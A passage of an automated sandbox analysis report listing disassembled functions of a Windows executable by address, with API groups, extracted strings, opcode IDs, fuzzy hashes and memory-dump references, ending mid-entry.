                                                            • Opcode ID: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
                                                            • Instruction ID: 848b0ab62bbef82d35f34cf8eda42f5bb92491d459f2a9e05f269a71c8ad766f
                                                            • Opcode Fuzzy Hash: e03b8a297f3e31543187ea4d980dcab107f3fc290ba37e0d0746b7471e731d00
                                                            • Instruction Fuzzy Hash: 6771E4B2A04B5282EB34CF21D540AB923A4FF5AB95F4406B5ED9E87799EF3CD444C350
                                                            Function 00007FF69DBB0D70 Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 388COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Variant$ClearInit
                                                            • String ID: %4d%02d%02d%02d%02d%02d$Default
                                                            • API String ID: 2610073882-3931177956
                                                            • Opcode ID: 71cb67d8980752d71d61beca9315e30f05edd3d223294706e17d030598d61897
                                                            • Instruction ID: 00cd514b2cf2a41bbc3329c6c08c8572599fd32a409c442891f69a64fb4a23be
                                                            • Opcode Fuzzy Hash: 71cb67d8980752d71d61beca9315e30f05edd3d223294706e17d030598d61897
                                                            • Instruction Fuzzy Hash: 3F027EB2E09A4285EA789B65C1D457C63A1FF46BC0F4945B5CA8E87AD8FF2DE850C340
                                                            Function 00007FF69DBB8BF4 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162timeCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: CurrentDirectoryTime$File$Localwcscat$Systemwcscpy
                                                            • String ID: *.*
                                                            • API String ID: 1111067124-438819550
                                                            • Opcode ID: 98a71cfb6502df9087812816f04c928264b270ce88f96a393908c63e275b4126
                                                            • Instruction ID: cd779a03d79937cc84b36e16164e68079e9403f9dbc430c69314cf93022fb5bd
                                                            • Opcode Fuzzy Hash: 98a71cfb6502df9087812816f04c928264b270ce88f96a393908c63e275b4126
                                                            • Instruction Fuzzy Hash: FC71B2B6618B8691DB20DF11D8801FE7360FB96B84F804072DA8D87BA9EF3DE545C740
                                                            Function 00007FF69DBC4F54 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 151windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
                                                            • String ID:
                                                            • API String ID: 2598888154-3916222277
                                                            • Opcode ID: dea97f0d0ad0f9214e770fe855ba7d83dc888621a1f275c7b89ba2b07fbcc766
                                                            • Instruction ID: 64ec6e38dbc9db21efbfc7eac7bb9e34535bc4940d6bd50fbac7b0e2fc0e3eae
                                                            • Opcode Fuzzy Hash: dea97f0d0ad0f9214e770fe855ba7d83dc888621a1f275c7b89ba2b07fbcc766
                                                            • Instruction Fuzzy Hash: 935156B6B14640CBE760CF79E444AAD77E5F749B88B008179EE8993B18DF38E4158B40
                                                            Function 00007FF69DB9B0C4 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 117memoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
                                                            • String ID: NULL Pointer assignment
                                                            • API String ID: 2706829360-2785691316
                                                            • Opcode ID: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
                                                            • Instruction ID: 9fc291523293a54e71e8a192d3ff6ab0e469122f06fdc513305d0b3247a015a6
                                                            • Opcode Fuzzy Hash: f387a50e6818b73d110b12cd73088d785cdd73093c11eac48bc39c6d5f3c3ae3
                                                            • Instruction Fuzzy Hash: E7517EB2B15A52CAEB60DF61D8946BC37B0FB95B88F404075EE4E87669EF38D049C350
                                                            Function 00007FF69DBD1110 Relevance: 19.6, APIs: 1, Strings: 10, Instructions: 371COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • CharUpperBuffW.USER32(?,?,?,00000000,?,?,?,00007FF69DBCFD7B), ref: 00007FF69DBD1143
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: BuffCharUpper
                                                            • String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
                                                            • API String ID: 3964851224-909552448
                                                            • Opcode ID: 48ce5f8ab7038dd94976e3b00d3167ae2925137fb7b03817e14e3f39c5b841c4
                                                            • Instruction ID: 562c74a1a8c08e3b4e0875cee253c7ccd92141f458594b8f4d4f918bed07b843
                                                            • Opcode Fuzzy Hash: 48ce5f8ab7038dd94976e3b00d3167ae2925137fb7b03817e14e3f39c5b841c4
                                                            • Instruction Fuzzy Hash: A6E181D2F09A5781EE708B66D8406B962A0FB12BD8B448576D99DC77DCFE3CE9468300
                                                            Function 00007FF69DBB3268 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 135COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: LoadStringwprintf
                                                            • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
                                                            • API String ID: 3297454147-3080491070
                                                            • Opcode ID: 921b602f5fcb54eacd7a62b3ce9e0f2e08e995aee376e847d7660b2710a32505
                                                            • Instruction ID: 5948da071b32551fd8407bd81a4917468af4e1c263b74bef817fe0dd656c67f2
                                                            • Opcode Fuzzy Hash: 921b602f5fcb54eacd7a62b3ce9e0f2e08e995aee376e847d7660b2710a32505
                                                            • Instruction Fuzzy Hash: A26183B6B1CA42D2EB20DB64D4406FD6360FB45784F8010B2EA8D97A9DEF7CE506C740
                                                            Function 00007FF69DBA74B0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 128windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: HandleLoadModuleString$Messagewprintf
                                                            • String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
                                                            • API String ID: 4051287042-2268648507
                                                            • Opcode ID: 6f60d895e456e1bcae49e483a71499a5f57f9936a6ffa7df15260821f561c8be
                                                            • Instruction ID: 6d6b84837d25b741a5a013ec8ae1fe4735835cb003f0e20fddfca4b100cb4edf
                                                            • Opcode Fuzzy Hash: 6f60d895e456e1bcae49e483a71499a5f57f9936a6ffa7df15260821f561c8be
                                                            • Instruction Fuzzy Hash: 1C51C7A6B1CA4292EB20EB64E8415FD6361FF95794F8000B2E98D9369DFF7CD506C780
                                                            Function 00007FF69DBAD4AC Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 65sleepwindowtimeCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Thread$Window$CurrentMessageProcessSendSleep$ActiveAttachDialogEnumFindInputTimeWindowstime
                                                            • String ID: BUTTON
                                                            • API String ID: 3935177441-3405671355
                                                            • Opcode ID: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
                                                            • Instruction ID: 120b7f3aaf9385d9e9531dc34fd20ed00c95dc6b65332c32c956ddfca26f285c
                                                            • Opcode Fuzzy Hash: f78108109216f5a9e13feac809e7b4bcbb9376684aa6c7b0e89a3c685e053ef5
                                                            • Instruction Fuzzy Hash: 793191A1E09607C2F7309B61E86477923F1EF96B58F4451F1CA8EC7698FE2CE4868351
                                                            Function 00007FF69DB315EC Relevance: 18.2, APIs: 12, Instructions: 191timeCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Destroy$AcceleratorKillTableTimerWindow
                                                            • String ID:
                                                            • API String ID: 1974058525-0
                                                            • Opcode ID: 0c1613d7862a27f9aadcde1ff47aecba04f14ac792f66c26bb2ef633a4b89113
                                                            • Instruction ID: 7d6e9f2bcc983d3c5f8e5f8f6fc07a4aa95c6a4608bd710dd263b728b8128c6d
                                                            • Opcode Fuzzy Hash: 0c1613d7862a27f9aadcde1ff47aecba04f14ac792f66c26bb2ef633a4b89113
                                                            • Instruction Fuzzy Hash: B8916FA1A0AA0286EF748F5594506786368EF86B84F5840B1DA8EC7B5DEF3CF452A350
                                                            Function 00007FF69DBA2F78 Relevance: 18.2, APIs: 12, Instructions: 173COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Window$ItemMoveRect$Invalidate
                                                            • String ID:
                                                            • API String ID: 3096461208-0
                                                            • Opcode ID: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
                                                            • Instruction ID: c79059c67aa8dac3424326f89a016d84352f43b25999b04455a4e8fad4110c33
                                                            • Opcode Fuzzy Hash: cd18a514988302620758944a1eb5a442a77522faab4df44982a6bd62bf806ab3
                                                            • Instruction Fuzzy Hash: C3618EB2B046508BE728CBAAE44466D77E2F789B94F508179DE49D3F48EF3CD9058B00
                                                            Function 00007FF69DBB4708 Relevance: 17.8, APIs: 3, Strings: 7, Instructions: 339COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: BuffCharDriveLowerTypewcscpy
                                                            • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                            • API String ID: 1561581874-1000479233
                                                            • Opcode ID: ce25e8d1a7becc76643e4d1ddee2007e93a86bfe4a34930367856c9c98c70219
                                                            • Instruction ID: 071bfda55616d9c137f31f97d7ca9a465bead815ea0a6372f8eb63ef072c2af0
                                                            • Opcode Fuzzy Hash: ce25e8d1a7becc76643e4d1ddee2007e93a86bfe4a34930367856c9c98c70219
                                                            • Instruction Fuzzy Hash: 63D1C4A2E08A9681EA309B15D580179A3A1FF56BD8F404271DADDD3BDCFF3CE9458700
                                                            Function 00007FF69DB9FF44 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 243windowtimeCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout
                                                            • String ID: %s%u
                                                            • API String ID: 1412819556-679674701
                                                            • Opcode ID: ec5f86a190bb73f09945e144781202aaf3720bc00edec1e84de13663eea9de37
                                                            • Instruction ID: 72c6598bca6590273a258aff1144534f6a9180687eb5397359176cc9d5238829
                                                            • Opcode Fuzzy Hash: ec5f86a190bb73f09945e144781202aaf3720bc00edec1e84de13663eea9de37
                                                            • Instruction Fuzzy Hash: F7B1D5B2B0878696EB38CF25D904AF867A1FB4AB94F400071DA8D8774DEF39E555C700
                                                            Function 00007FF69DBA176C Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 226COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ClassName$Window$Text$BuffCharRectUpperwcsstr
                                                            • String ID: ThumbnailClass
                                                            • API String ID: 4010642439-1241985126
                                                            • Opcode ID: 0882505c88ed3b00aae6e4629277f07059bb2b253e5c1484f821cf4c8a59efc7
                                                            • Instruction ID: 18baa5fcd14cbf662fb404656a4d23d75133a9c1a2134041d7ec4f68bcbcc519
                                                            • Opcode Fuzzy Hash: 0882505c88ed3b00aae6e4629277f07059bb2b253e5c1484f821cf4c8a59efc7
                                                            • Instruction Fuzzy Hash: 1FA1B3A2B0864683EA748F15D4446B9A7E1FB967D4F408075CACE83A99FF3DF905CB40
                                                            Function 00007FF69DB31504 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 163windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Icon$DestroyExtractImageLoadMessageSend
                                                            • String ID: P
                                                            • API String ID: 1268354404-3110715001
                                                            • Opcode ID: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
                                                            • Instruction ID: 1324489416f6b6e73aae91c49cf22fbdac68514d3219f0861d7b5c5a180b7c75
                                                            • Opcode Fuzzy Hash: 02435e4ac2fd25411414f443f70b9a64b2fb5eec06818f208819b822860aaaf9
                                                            • Instruction Fuzzy Hash: 6461B175A0A6418BEB34CF25D84067967A4FB85BD8F1045B6EE8E83B9CEF3CE4419740
                                                            Function 00007FF69DBB34E4 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 149COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: LoadStringwprintf
                                                            • String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
                                                            • API String ID: 3297454147-2391861430
                                                            • Opcode ID: 31c5b23564cdfe61f8d669abd9ab3ad79c4f4694b43ce296d1458ee3b9400a01
                                                            • Instruction ID: 1f03e154dc1234066178142d6be3922015289837397e2cfda64a0abcf337aa8b
                                                            • Opcode Fuzzy Hash: 31c5b23564cdfe61f8d669abd9ab3ad79c4f4694b43ce296d1458ee3b9400a01
                                                            • Instruction Fuzzy Hash: 1071B2B6B1DA4296EB20DB65E4805FDA360FB41784F8010B2EA8D8769DFF7CE506C740
                                                            Function 00007FF69DB9C034 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 124registryshareCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue
                                                            • String ID: SOFTWARE\Classes\$\CLSID$\IPC$
                                                            • API String ID: 3030280669-22481851
                                                            • Opcode ID: a4a03563eba47bf7a6bc45b00431da315f02e209d49ab1ef43027d618f4c2dd1
                                                            • Instruction ID: d449af121d33490bf0fbeaa8634b9ed698aef2c7b3d7165f083358cfdc08c196
                                                            • Opcode Fuzzy Hash: a4a03563eba47bf7a6bc45b00431da315f02e209d49ab1ef43027d618f4c2dd1
                                                            • Instruction Fuzzy Hash: 3A51C762719A8296EB20DF64E8806EDA7A0FB953C4F400071EA8D87A7DFF3CD546C740
                                                            Function 00007FF69DBDAD1C Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 100windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Window$CreateMessageObjectSend$AttributesCompatibleDeleteDestroyLayeredLongMovePixelSelectStock
                                                            • String ID: static
                                                            • API String ID: 3821898125-2160076837
                                                            • Opcode ID: 2ad0c9b06366bd18a744c10cd610a20c9196bc34b39a8e3022a1d8394ddcf546
                                                            • Instruction ID: d430600668e404153aeac3e4313b5c7f63b37de88f8211219322d5b4d6eea1ec
